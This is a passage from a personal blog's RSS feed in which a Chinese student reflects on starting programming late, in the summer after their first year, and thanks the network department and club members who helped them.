，联创这边的任务一直比较重，跟网路部的联系也少了。不过一直很感激，网络部的人一直没把我忘了，有什么活动都会通知我；这让我深感愧疚。        就这样，当初的一个不经意的念头，我打开了编程的大门。莽莽撞撞，我就走上了编程这条道路，途中获得了很多人的帮助，班主任、网络部的所有成员、还有现在联创的所有成员。虽然我起步很晚，大一暑假才开始写代码，不过还好，我没有放弃，我一直在努力。这样就够了。]]></description>
		<wfw:commentRss>http://blog.helloying.com/?feed=rss2&#038;p=64</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

